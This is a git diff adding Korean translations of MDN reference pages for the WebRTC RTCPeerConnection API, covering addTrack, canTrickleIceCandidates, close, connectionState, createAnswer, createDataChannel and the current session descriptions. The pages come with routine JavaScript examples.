+pc.ontrack = ev => {
+  if (ev.streams && ev.streams[0]) {
+    videoElem.srcObject = ev.streams[0];
+  } else {
+    if (!inboundStream) {
+      inboundStream = new MediaStream();
+      videoElem.srcObject = inboundStream;
+    }
+    inboundStream.addTrack(ev.track);
+  }
+}
+ +

여기서 track 이벤트 핸들러는 스트림을 명시한 경우, 이 이벤트에서 명시한 첫 번째 스트림에 트랙을 추가합니다. 그렇지 않은 경우에는 ontrack이 처음 호출되는 순간에 신규 스트림이 생성되고 비디오 엘리먼트에 부착된 다음에서야 트랙이 신규 스트림에 추가됩니다. 이때부터 신규 랙이 해당 스트림에 추가됩니다.

+ +

또한, 각각의 트랙을 받을 때 마다, 신규 스트림을 만들 수 있습니다:

+ +
pc.ontrack = ev => {
+  if (ev.streams && ev.streams[0]) {
+    videoElem.srcObject = ev.streams[0];
+  } else {
+    let inboundStream = new MediaStream(track);
+    videoElem.srcObject = inboundStream;
+  }
+}
+ +

특정 스트림에 트랙 연동하기

+ +

스트림을 명시하고 {{domxref("RTCPeerConnection")}}가 스트림을 만들 수 있도록 허용하면, WebRTC 인프라에 의해 스트림의 트랙들이 자동으로 연동됩니다. 이는 트랜시버의 {{domxref("RTCRtpTransceiver.direction", "direction")}}를 변경하거나, {{domxref("RTCPeerConnection.removeTrack", "removeTrack()")}}를 사용해서 트랙을 멈추는 것도 포함합니다.

+ +

예를 들어, 아래의 함수는 어플리케이션이 {{domxref("RTCPeerConnection")}}를 통해 미디어 장치의 카메라 및 마이크 입력을 원격 유저에게 스트리밍을 시작하도록 사용 될 수 있습니다:

+ +
async openCall(pc) {
+  const gumStream = await navigator.mediaDevices.getUserMedia(
+                          {video: true, audio: true});
+  for (const track of gumStream.getTracks()) {
+    pc.addTrack(track, gumStream);
+  }
+}
+ +

아래와 같이, 원격 유저는 {{event("track")}} 이벤트 핸들러를 사용 할 수 있습니다:

+ +
pc.ontrack = ({streams: [stream]} => videoElem.srcObject = stream;
+ +

위의 코든 연결 인터페이스에 이미 추가 되었던 트랙을 가지고 있는 현재 스트림에 비디오 엘리먼트 설정합니다.

+ +

재사용되는 senders

+ +

이 메소드는 신규 RTCRtpSender 를 반환하거나, 아직 데이터를 송신하지 않은 이미 존재하던 호환 가능한 sender를 특정 조건아래 반환합니다. 호환성 및 재사용성이 있는 RTCRtpSender 인스턴스는 아래의 조건들을 만족해야합니다:

+ + + +

위의 조건들을 모두 만족하게되면, sender가 재사용되어 이미 존재하던 RTCRtpSender 및 RTCRtpTransceiver 에 아래와 같은 변경사항이 적용됩니다: 

+ + + +

신규 senders

+ +

재사용가능한 sender가 없으면, 신규 sender가 생성됩니다. 신규로 생성되면, 꼭 있어야하는 관련된 객체들도 생성됩니다. 이 과정에서 다음과 같은 변화가 발생합니다:

+ + + +
+
+ +

예시

+ +

아래의 코드는 Signaling and video calling 문서에서 가져온 코드입니다. 이 코드는 handleVideoOfferMsg()메소드에서 제공되는 것으로, offer 메세지가 원격 유저에서 수신되면 호출됩니다.

+ +
var mediaConstraints = {
+  audio: true,            // We want an audio track
+  video: true             // ...and we want a video track
+};
+
+var desc = new RTCSessionDescription(sdp);
+
+pc.setRemoteDescription(desc).then(function () {
+  return navigator.mediaDevices.getUserMedia(mediaConstraints);
+})
+.then(function(stream) {
+  previewElement.srcObject = stream;
+
+  stream.getTracks().forEach(track => pc.addTrack(track, stream));
+})
+ +

위의 코드는 SDP를 원격 유저로부터 수신 받아서 신규 {{domxref("RTCSessionDescription")}}를 만들고 {{domxref("RTCPeerConnection.setRemoteDescription", "setRemoteDescription()")}}로 전달합니다. pc.setRemoteDescription(desc)의 실행이 성공하게되면, {{domxref("MediaDevices.getUserMedia()")}}를 사용해서 로컬 유저의 웹캠과 마이크에 대한접근 권한을 얻습니다. 앞의 과정이 성공하게되면, 스트림은 {{HTMLElement("video")}} 엘리먼트를 위한 소스로 지정됩니다. 이 스트림은 previewElement변수를 통해 참조가 가능해집니다.

+ +

마지막으로 피어 연결을 통헤 caller에게 로컬 비디오 전달을 시작합니다. 이 과정은 {{domxref("MediaStream.getTracks()")}}에 의해 반환된 리스트를 iterate하고, 이들을 구성하는 stream과 함께 addTrack()에 전달되어 스트림에 각각의 트랙들을 추가합니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-addtrack', 'RTCPeerConnection.addTrack()') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.addTrack")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/cantrickleicecandidates/index.html b/files/ko/web/api/rtcpeerconnection/cantrickleicecandidates/index.html new file mode 100644 index 0000000000..e9dbc9f893 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/cantrickleicecandidates/index.html @@ -0,0 +1,87 @@ +--- +title: RTCPeerConnection.canTrickleIceCandidates +slug: Web/API/RTCPeerConnection/canTrickleIceCandidates +translation_of: Web/API/RTCPeerConnection/canTrickleIceCandidates +--- +
{{APIRef("WebRTC")}}
+ +

읽기 속성인 {{domxref("RTCPeerConnection")}} 속성의 canTrickleIceCandidates는 원격유저가 trickled ICE candidates를 승인 할 수 있는지의 여부를 알려주는 {{jsxref("Boolean")}}을 반환합니다.

+ +

ICE trickling 은 초기 offer 혹은 answer를 다른 유저에게 이미 전달을 했음에도 계속해서 candidate를 보내는 과정을 뜻합니다.

+ +

이 속성은 {{domxref("RTCPeerConnection.setRemoteDescription()")}}가 호출된 후에만 설정됩니다. Signaling 프로토콜이 trickling 지원을 감지하는 방법을 제공해서 이 속성에 의존 할 필요가 없이 하는 것이 가장 좋은 방법입니다. WebRTC 브라우저는 항상 trickle ICE를 지원하게 되어있습니다. 하지만 몇몇 경우에 trickling이 지원이 되지 않거나 애초에 지원하는지를 알 수 없다면, 이 속성의 값이 이상한지 확인하고, 또한 초기 offer를 생성하고 전달하기 이전에 {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}의 값이 "completed"로 바뀌기전까지 기다릴 수 있습니다. 이러한 방식으로 offer에 모든 candidate들이 포함되도록 만들 수 있습니다.

+ +

Syntax

+ +
 var canTrickle = RTCPeerConnection.canTrickleIceCandidates;
+ +

+ +

{{jsxref("Boolean")}}는 원격 유저가 trickled ICE candidate를 수용 할 수 있으면 true 값이고, 그렇지 않으면 false 값 입니다. 이미 원격 유저가 생성되었으면, 이 값은 null 입니다.

+ +
+

참조: 이 속성의 값은 로컬 피어가 {{domxref("RTCPeerConnection.setRemoteDescription()")}}를 호출하게 되면 결정됩니다. 여기에서 제공된 정보를 사용해서 ICE agent가 원격 유저가 trickled ICE candidate를 지원하는지에 대한 여부를 결정해줍니다.

+
+ +

예시

+ +
var pc = new RTCPeerConnection();
+// The following code might be used to handle an offer from a peer when
+// it isn't known whether it supports trickle ICE.
+pc.setRemoteDescription(remoteOffer)
+  .then(_ => pc.createAnswer())
+  .then(answer => pc.setLocalDescription(answer))
+  .then(_ =>
+    if (pc.canTrickleIceCandidates) {
+      return pc.localDescription;
+    }
+    return new Promise(r => {
+      pc.addEventListener('icegatheringstatechange', e => {
+        if (e.target.iceGatheringState === 'complete') {
+          r(pc.localDescription);
+        }
+      });
+    });
+  })
+  .then(answer => sendAnswerToPeer(answer)) // signaling message
+  .catch(e => handleError(e));
+
+pc.addEventListener('icecandidate', e => {
+  if (pc.canTrickleIceCandidates) {
+    sendCandidateToPeer(e.candidate); // signaling message
+  }
+});
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-canTrickleIceCandidates', 'RTCPeerConnection.canTrickleIceCandidates') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.canTrickleIceCandidates")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/close/index.html b/files/ko/web/api/rtcpeerconnection/close/index.html new file mode 100644 index 0000000000..763beca7d4 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/close/index.html @@ -0,0 +1,72 @@ +--- +title: RTCPeerConnection.close() +slug: Web/API/RTCPeerConnection/close +translation_of: Web/API/RTCPeerConnection/close +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

RTCPeerConnection.close() 메소드로 피어 연결을 종료합니다. 

+ +

Syntax

+ +
RTCPeerConnection.close();
+
+ +

이 메소드는 입력 패러미터가 없으며, 반환 값도 없습니다.

+ +

이 메소드를 호출하게되면, 모든 진행 중인 ICE 프로세싱 및 활성화된 스트림을 종료하고, RTCPeerConnection의 ICE 에이전트를 종료합니다. 이 방법으로 ICE 에이전트에 의해 사용되는 리소스들 (TURN 허가 포함) 을 해제시킵니다. 모든 {{domxref("RTCRtpSender")}} 객체들은 이 메소드가 반환되면 정지됩니다. (아직 종료 중인 과정에 있을 수도 있습니다만, 사실상 정지됩니다.)

+ +

이 메소드가 반환되면, {{domxref("RTCPeerConnection.signalingState")}}에 의해 반환된 signaling 상태가 closed로 됩니다.

+ +

같은 원격 유저와의 새로운 연결 생성을 시도하기전에 이전에 존재하던 {{domxref("RTCPeerConnection")}}의 모든 참조 값들을 delete하십시오. 삭제되지 않은 참조 값들이 브라우저에서 오류를 초래 할 수 있습니다.

+ +

예시

+ +
var pc = new RTCPeerConnection();
+var dc = pc.createDataChannel("my channel");
+
+dc.onmessage = function (event) {
+  console.log("received: " + event.data);
+  pc.close(); // 첫 메세지를 받으면, 연결을 종료
+};
+
+dc.onopen = function () {
+  console.log("datachannel open");
+};
+
+dc.onclose = function () {
+  console.log("datachannel close");
+};
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-close-void', 'RTCPeerConnection.close()') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.close")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/connectionstate/index.html b/files/ko/web/api/rtcpeerconnection/connectionstate/index.html new file mode 100644 index 0000000000..a675cef4cb --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/connectionstate/index.html @@ -0,0 +1,111 @@ +--- +title: RTCPeerConnection.connectionState +slug: Web/API/RTCPeerConnection/connectionState +translation_of: Web/API/RTCPeerConnection/connectionState +--- +

{{APIRef("WebRTC")}}

+ +

{{domxref("RTCPeerConnection")}} 인터페이스의 읽기 속성인 connectionState는 피어 연결의 현재 상태를 알려줍니다. 이 속성은 RTCPeerConnectionState enum 값 중 하나를 문자열로 반환해줍니다.

+ +

만약 이 속성의 값이 바뀌게되면, {{domxref("RTCPeerConnection")}} 인스턴스로 {{event("connectionstatechange")}} 이벤트가 전송됩니다.

+ +

Syntax

+ +
var connectionState = RTCPeerConnection.connectionState;
+ +

+ +

연결의 현재 상태를 RTCPeerConnectionState enum의 값 중 하나로 표시합니다.

+ + + +

RTCPeerConnectionState enum

+ +

RTCPeerConnectionState enum은 RTCPeerConnection이 존재 할 수 도있는 상태에 대해 알려주는 문자열 상수를 정의합니다. 이 값들은 {domxref("RTCPeerConnection.connectionState", "connectionState")}} 속성에 의해 반홥됩니다. 근본적으로 이 상태는 연결에 의해 사용되는 모든 ICE 전송 ({{domxref("RTCIceTransport")}} 혹은 {{domxref("RTCDtlsTransport")}}의 타입)의 상태 집합을 나타냅니다. 

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
상수명설명
"new" +

연결의 ICE 전송 중 적어도 한 개가 새로 만들어진 "new" 상태이고,  그 외의 나머지는 다음의 상태 중 하나가 아니여야 합니다: "connecting", "checking", "failed", 혹은 "disconnected", 혹은  모든 연결의 전송이 끝났다는 "closed"상태.

+
"connecting"하나 혹은 여러개의 ICE 전송이 현재 연결을 구성하는 중에 있음을 알려주는 값. 이는 RTCIceConnectionState"checking" 혹은 "connected"이며, 그 어떤 전송도 "failed"상태가 아니여야합니다. <<< Make this a link once I know where that will be documented
"connected"연결에 의해 사용되는 모든 ICE 전송이 사용 중 ("connected" 혹은 "completed")이거나, 종료된 상태입니다. 추가적으로 최소 하나의 전송이 "connected" 혹은 "completed"입니다.
"disconnected"연결에 대한 최소 한 개의 ICE 전송이 "disconnected"상태이고, 그 외의 다른 전송 상태는 "failed", "connecting", 혹은 "checking"이 아님을 알려주는 값. 
"failed" +

연결에 대한 하나 혹은 여러개의 ICE 전송이 "failed"상태임을 알려주는 값.

+
"closed" +

RTCPeerConnection 개통되지 않음을 알려주는 값.

+ +

2016년 5월 13일에 작성된 명세서의 초안에 따르면, 이 값은 RTCPeerConnectionState enum 안에 존재했었습니다. 따라서, {{domxref("RTCPeerConnection.signalingState", "signalingState")}}의 값을 통해 찾을 수 있습니다. 

+
+ + + +

예시

+ +
var pc = new RTCPeerConnection(configuration);
+
+/* ... */
+
+var connectionState = pc.connectionState;
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-connectionState', 'RTCPeerConnection.connectionState') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.connectionState")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/createanswer/index.html b/files/ko/web/api/rtcpeerconnection/createanswer/index.html new file mode 100644 index 0000000000..a57adb7be1 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/createanswer/index.html @@ -0,0 +1,96 @@ +--- +title: RTCPeerConnection.createAnswer() +slug: Web/API/RTCPeerConnection/createAnswer +translation_of: Web/API/RTCPeerConnection/createAnswer +--- +

{{APIRef("WebRTC")}}

+ +

{{domxref("RTCPeerConnection")}} 인터페이스의 createAnswer() 메소드는 WebRTC 연결 중 발생하는 offer/answer 네고시에이션에서 원격 유저로부터 받은 offer에 대한 {{Glossary("SDP")}} answer를 생성합니다. 이 answer는 세션이 이미 부착된 미디어, 브라우저에서 지원하는 코덱 및 옵션, 그리고 이미 수집된 {{Glossary("ICE")}} candidate에 대한 정보를 담고 잇습니다. Answer는 반환 된 {{jsxref("Promise")}}에 전달되고, 그 다음에는 네고시에이션 과정을 계속 진행하기 위해서 offer의 소스에게 전달되야합니다. 

+ +

Syntax

+ +
aPromise = RTCPeerConnection.createAnswer([options]);
+
+RTCPeerConnection.createAnswer(successCallback, failureCallback[, options]); {{deprecated_inline}}
+ +

매개 변수

+ +
+
options {{optional_inline}}
+
Answer를 커스터마이즈 할 수 있는 옵션을 설정하는 객체입니다. 설정 가능한 옵션은 {{domxref("RTCAnswerOptions")}} 딕셔너리에 기반합니다.
+
+ +

더 이상 사용되지 않는 매개 변수

+ +

이전 버전의 문서에서는 이 함수를 콜백 기반으로 사용하도록 되어있습니다. 콜백 기반 함수는 이제 더 이상 사용되지 않으며, 사용하지 않는 것을 권장합니다. 이미 사용 중이라면, Promise 버전인 createAnswer()를 사용하도록 코드를 업데이트 하십시오. 이전 버전의 코드를 업데이트 하는 것을 쉽게 하기 위해 고안된 createAnswer()의 특정 변수에 대해 아래에서 설명합니다.

+ +
+
+ +
+
successCallback {{deprecated_inline}}
+
신규 생성된 answer를 설명하는 단일 {{domxref("RTCSessionDescription")}} 객체에 전달되는 {{domxref("RTCSessionDescriptionCallback")}} 입니다.
+
failureCallback {{deprecated_inline}}
+
왜 answer를 생성하는 요청이 실패했는지를 설명해주는 단일 {{domxref("DOMException")}} 객체에 전달되는 {{domxref("RTCPeerConnectionErrorCallback")}} 입니다.
+
options {{optional_inline}}
+
Answer를 위해 요청된 옵션을 제공하는 {{domxref("RTCOfferOptions")}} 객체입니다. 
+
+ +

예외처리

+ +
+
NotReadableError
+
아이덴티티 제공자가 아이덴티티 주장을 제공 할 수 없음을 알려줍니다.
+
OperationError
+
SDP 생성이 어떤 이유로 실패했음을 알려줍니다. 이는 일반적인 failure catch-all exception 입니다.
+
+ +

반환 값

+ +

다른 유저에게 전달되는 SDP answer를 가진 {{domxref("RTCSessionDescriptionInit")}} 딕셔너리에 준수하는 객체와 함께 호출되는 fulfillment 핸들러인 {{jsxref("Promise")}} 입니다.

+ +

예시

+ +

아래는 Signaling and video calling 문서에서 나오는 코드의 일부입니다. 이 코드는 시그널링 채널을 통해 다른 유저에게 offer는 전달하는 메세지를 다루는 핸들러에서 나옵니다.

+ +
+

주의 할 점은 이것이 시그널링 과정의 일부이며, 전송계층 구현에 대한 세부사항은 전적으로 개발자에게 달려있다는 것 입니다. 여기서는 WebSocket 연결을 사용해서 다른 유저에게 "video-answer" 값이 있는 type 필드 및 offer를 보낸 장치에게 전달 할 answer를 담은 {{Glossary("JSON")}} 메세지를 보냅니다. 프로미스 fulfillment 핸들러의 다른 모든 항목들과 함께 sendToServer()함수로 전달되는 객체의 내용을 어떻게 할 지는 개발자의 디자인에 달려잇습니다.

+
+ +
pc.createAnswer().then(function(answer) {
+  return pc.setLocalDescription(answer);
+})
+.then(function() {
+  // Send the answer to the remote peer through the signaling server.
+})
+.catch(handleGetUserMediaError);
+
+ +

위의 예제는 {{domxref("RTCPeerConnection")}}가 신규 answer를 만들고 반환하도록 요청합니다. 프로미스 핸들러에 반환된 answer는 {{domxref("RTCPeerConnection.setLocalDescription", "setLocalDescription()")}} 호출에 의해 연결의 로컬 엔드에 대한 description으로 설정됩니다.

+ +

이 과정이 성공하면, answer는 적당한 아무 프로토콜을 사용해서 시그널링 서버에 전달됩니다. 그리고 {{jsxref("Promise.catch()")}}는 에러를 잡아내고 처리하기 위해 사용됩니다.

+ +

{{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling", "Handling the invitation")}}를 확인해서 전체 코드를 확인해보십시오. 이 문서를 보면 시그널링 과정 및 answer가 어떻게 작동하는지를 이해 할 수 있습니다.

+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-createanswer', 'createAnswer()')}}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.createAnswer")}}

diff --git a/files/ko/web/api/rtcpeerconnection/createdatachannel/index.html b/files/ko/web/api/rtcpeerconnection/createdatachannel/index.html new file mode 100644 index 0000000000..c348421377 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/createdatachannel/index.html @@ -0,0 +1,146 @@ +--- +title: RTCPeerConnection.createDataChannel() +slug: Web/API/RTCPeerConnection/createDataChannel +translation_of: Web/API/RTCPeerConnection/createDataChannel +--- +

{{APIRef("WebRTC")}}

+ +

{{domxref("RTCPeerConnection")}} 인터페이스의 createDataChannel() 메소드는 어떤 형식의 데이터든 송신 할 수 있도록 원격 유저와 연결하는 신규 채널을 생성합니다.이 방법은 이미지, 파일 전송, 문자 채팅, 게임 패킷 업데이트 등과 같은 백채널 컨텐츠에 유용하게 사용 가능합니다.

+ +

연결 인터페이스에 신규 채널이 처음 추가되면, 재협상 과정이 {{event("negotiationneeded")}} 이벤트를 전달하여 시작됩니다.

+ +

Syntax

+ +
dataChannel = RTCPeerConnection.createDataChannel(label[, options]);
+ +

매개변수

+ +
+
label
+
사람이 읽을 수 있는 채널 이름입니다. 이름의 문자열은 65,535 바이트 보다 작아야합니다.
+
options {{optional_inline}}
+
RTCDataChannelInit dictionary가 데이터 채널에 대한 설정 옵션들을 제공합니다. 
+
+ +

RTCDataChannelInit 딕셔너리

+ +

RTCDataChannelInit 딕셔너리는 개발자의 필요에 따라 데이터 채널을 설정 할 때 객체로 전달되는 옵션 매개변수로 전달되는 객체에 포함 될 수 있는 다음의 필드들을 제공합니다:

+ +
+
ordered {{optional_inline}}
+
이 옵션은 {{domxref("RTCDataChannel")}}에 전달된 메세지가 보내진 순서대로 상대방에게 도착해야하는지 (true) 아니면 순서가 달라도 허용 (false)이 되는지를 결정합니다. 기본 값: true.
+
maxPacketLifeTime {{optional_inline}}
+
불안정한 모드에서 메세지를 전송 할 때 최대 몇 초 동안 전송을 시도 할 것인지를 결정하는 옵션입니다. 이 값은 16bit의 부호가 없는 정수형이지만, 각 유저 에이전트는 적절하다고 판단되는 최대 값으로 지정 할 수 있습니다. (주의maxPacketLifeTime 혹은 maxRetransmits 옵션 둘 중 하나만 사용해야함.) 기본 값: null.
+
maxRetransmits {{optional_inline}}
+
불안정한 모드에서 메세지 전송이 실패하면 최대 몇 번을 재시도 할 것인지를 결정하는 옵션입니다. 이 값은 16bit의 부호가 없는 정수형이지만, 각 유저 에이전트는 적절하다고 판단되는 최대 값으로 지정 할 수 있습니다. (주의maxPacketLifeTime 혹은 maxRetransmits 옵션 둘 중 하나만 사용해야함.) 기본 값: null.
+
protocol {{optional_inline}}
+
{{domxref("RTCDataChannel")}}에 사용되는 서브 프로토콜의 이름입니다. 존재하지 않으면 이 옵션은 빈 문자열 ("")입니다. 기본 값: 빈 문자열, "". 이 문자열은 65,535 바이트 보다 작아야합니다.
+
negotiated {{optional_inline}}
+
기본 값일 경우 (false), 데이터채널은 밴드의 대역 내에서 협상됩니다. 이 때, 한 쪽은 createDataChannel를 호출하고, 다른 쪽에서는 {{domxref("RTCDataChannelEvent")}} 이벤트를 ondatachannel EventHandler를 사용해서 감청합니다. 반대로 true 일 경우, 밴드의 대역 범위를 벗어나도 재협상이 가능해집니다. 이 때에는 양쪽에서 합의된 id를 가진 createDataChannel을 호출하게됩니다. 기본 값: false
+
id {{optional_inline}}
+
채널에 대한 16bit 숫자형 ID입니다. 허용되는 값은 0에서 65534 사이입니다. 이 값을 지정하지 않으면, 유저 에이전트가 알아서 ID를 지정해줍니다.
+
+ +
+

RTCDataChannelInit 딕셔너리를 사용해서 설정이 가능한 옵션들은 {{domxref("RTCDataChannel")}} 인터페이스에서 설정이 가능한 특성들의 서브 셋을 뜻합니다.

+
+ +

반환 값

+ +

지정한 label을 가지고, options에 지정한 옵션들을 사용하여 설정된 신규 {{domxref("RTCDataChannel")}} 객체입니다. 각 매개변수들을 지정하지 않으면, 기본 값으로 설정되어 생성됩니다.

+ +

예외처리

+ +
+
InvalidStateError
+
{{domxref("RTCPeerConnection")}}가 닫혀있음을 뜻합니다.
+
TypeError
+
이 에러는 여러 상황에서 발생이 가능합니다: +
    +
  • label 혹은 프로토콜 문자열이 너무 길어서 발생합니다. 해당 문자열은 65,535바이트보다 작아야합니다. 
  • +
  • id가 65535여서 발생합니다. 이 값은 유효한 부호가 없는 16bit 이지만, id 값으로 허용되는 범위를 벗어나게됩니다. (0-65534 까지만 허용)
  • +
+
+
SyntaxError
+
maxPacketLifeTimemaxRetransmits 옵션에 모두 값이 지정되면 발생합니다. 둘 중 하나에만 non-null 값을 지정해야 합니다.
+
ResourceInUse
+
id 값이 지정되었지만, 다른 {{domxref("RTCDataChannel")}}에서 이미 같은 이름을 사용 중이면 발생합니다.
+
OperationError
+
지정한 id가 이미 사용 중이거나, id가 지정되지 않았다면 모든 ID들이 사용 중이기 때문에 WebRTC 레이어에서 자동으로 id 생성이 불가능 할 때 발생합니다.
+
+ +

예시

+ +

아래의 예제에서는 어떻게 데이터 채널을 생성하고, 생성 할 때 메세지를 전송하고 수신하는 이벤트인 {{event("open")}}와 {{event("message")}}에대한 핸들러를 설정합니다. (onnegotiationneeded는 이미 설정이 되었다고 가정하고 간소화한 예입니다.)

+ +
// Offerer side
+
+var pc = new RTCPeerConnection(options);
+var channel = pc.createDataChannel("chat");
+channel.onopen = function(event) {
+  channel.send('Hi you!');
+}
+channel.onmessage = function(event) {
+  console.log(event.data);
+}
+ +
// Answerer side
+
+var pc = new RTCPeerConnection(options);
+pc.ondatachannel = function(event) {
+  var channel = event.channel;
+  channel.onopen = function(event) {
+    channel.send('Hi back!');
+  }
+  channel.onmessage = function(event) {
+    console.log(event.data);
+  }
+}
+ +

다른 방법으로는 양쪽에서 합의한 id를 사용하여 보다 대칭적인 대역 밴드 외 협상이 가능합니다. (id는 0입니다):

+ +
// Both sides
+
+var pc = new RTCPeerConnection(options);
+var channel = pc.createDataChannel("chat", {negotiated: true, id: 0});
+channel.onopen = function(event) {
+  channel.send('Hi!');
+}
+channel.onmessage = function(event) {
+  console.log(event.data);
+}
+ +

연결 및 채널이 구성되는 예를 더 자세히 알고 싶다면, A simple RTCDataChannel sample를 참조하십시오.

+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-createDataChannel-RTCDataChannel-DOMString-label-RTCDataChannelInit-dataChannelDict', 'createDataChannel()')}}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.RTCPeerConnection.createDataChannel")}}

+
+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/currentlocaldescription/index.html b/files/ko/web/api/rtcpeerconnection/currentlocaldescription/index.html new file mode 100644 index 0000000000..45b79a88f4 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/currentlocaldescription/index.html @@ -0,0 +1,76 @@ +--- +title: RTCPeerConnection.currentLocalDescription +slug: Web/API/RTCPeerConnection/currentLocalDescription +translation_of: Web/API/RTCPeerConnection/currentLocalDescription +--- +

{{WebRTCSidebar}}

+ +

읽기 속성인 RTCPeerConnection.currentLocalDescription은 가장 최근에 {{domxref("RTCPeerConnection")}}가 성공적으로 네고시에이션을 마치고 원격 피어와 연결된, 연결인터페이스의 로컬 엔드를 설명하는 {{domxref("RTCSessionDescription")}} 객체를 반환합니다. 이외에도 설명에 의해 offer 혹은 answer가 처음으로 인스턴스화 되면 ICE 에이전트에 의해 이미 생성됬을수도 있는 ICE candidate 목록이 포함되어 있습니다.

+ +

currentLocalDescription을 바꾸기 위해서는, 이 값을 설정하도록 연쇄 이벤트를 작동시키는 {{domxref("RTCPeerConnection.setLocalDescription()")}}를 호출하십시오. 이 연쇄 이벤트가 어떻게 값을 바꾸고, 왜 즉시 값이 바뀌지 않는지에 대해 궁금하다면, {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Pending and current descriptions")}}를 살펴보십시오.

+ +
+

{{domxref("RTCPeerConnection.localDescription")}}와 다르게, currentLocalDescription는 연결 인터페이스의 로컬 엔드에 대한 현재 상태를 나타내는 값 입니다. localDescription은 연결 인터페이스가 현재 어떤 상태로 전환 중인지를 설명하는 값을 명시 할 수 있습니다.

+
+ +

Syntax

+ +
sessionDescription = RTCPeerConnection.currentLocalDescription;
+ +

반환 값

+ +

연결이 설정된 경우, 연결의 로컬 엔드에 대한 가장 최신 설명입니다. 성공적으로 연결이 설정이 되지 않았다면, 반환 값은 null 입니다.

+ +

예시

+ +

이 예시는 currentLocalDescription을 확인하고, {{domxref("RTCSessionDescription")}} 객체의 typesdp 필드를 담고 있는 경고 메세지를 출력합니다.

+ +
var pc = new RTCPeerConnection();
+…
+var sd = pc.currentLocalDescription;
+if (sd) {
+  alert("Local session: type='" +
+        sd.type + "'; sdp description='" +
+        sd.sdp + "'");
+}
+else {
+  alert("No local session yet.");
+}
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-currentLocalDescription', 'RTCPeerConnection.currentLocalDescription') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.currentLocalDescription")}}

+ +
+

currentLocalDescription와 {{domxref("RTCPeerConnection.pendingLocalDescription", "pendingLocalDescription")}}기능은 최근에 추가 되었습니다.  따라서, 이 기능을 지원하지 않는 브라우저에서는 {{domxref("RTCPeerConnection.localDescription", "localDescription")}}를 사용하십시오.

+
+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/currentremotedescription/index.html b/files/ko/web/api/rtcpeerconnection/currentremotedescription/index.html new file mode 100644 index 0000000000..8b767ac446 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/currentremotedescription/index.html @@ -0,0 +1,72 @@ +--- +title: RTCPeerConnection.currentRemoteDescription +slug: Web/API/RTCPeerConnection/currentRemoteDescription +translation_of: Web/API/RTCPeerConnection/currentRemoteDescription +--- +

{{WebRTCSidebar}}

+ +

읽기 속성인 RTCPeerConnection.currentRemoteDescription은 마지막 {{domxref("RTCPeerConnection")}} 이후 가장 최근에 원격 유저와의 네고시에이션 및 연결을 성공적으로 마친 연결의 원격 엔드 포인트를 알려주는 {{domxref("RTCSessionDescription")}} 객체를 반환합니다. 추가적으로 이 속성은 description에 의해 표현되는 마지막 offer 및 answer가 처음 시작되면 ICE 에이전트에 의해 생성이 되었을 수도 있는 모든 ICE candidate들의 리스트를 포함합니다.

+ +

currentRemoteDescription를 바꾸기 위해서는,  {{domxref("RTCPeerConnection.setRemoteDescription()")}}를 호출해서 이 값이 설정되도록 만들어주는 연속된 이벤트를 활성화하십시오. 왜 바꾸는 것이 바로 적용이 안되는지 및 어떻게 작동하는지 더 자세히 알고 싶다면, {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Pending and current descriptions")}}를 참조하십시오.

+ +
+

{{domxref("RTCPeerConnection.remoteDescription")}}와 다르게, 이 값은 연결의 로컬 엔드 포인트에 대한 실제 현재 상태를 보여줍니다. remoteDescription은 연결이 현재 어느 상태로 바뀌는지에 대한 설명도 명시 할 수 있습니다.

+
+ +

Syntax

+ +
sessionDescription = RTCPeerConnection.currentRemoteDescription;
+ +

반환 값

+ +

설정이 되어있다면, 연결의 원격 엔드포인트에 대한 현재 설명을 반환합니다. 설정되어있지않으면, 이 값은 null입니다. 

+ +

예시

+ +

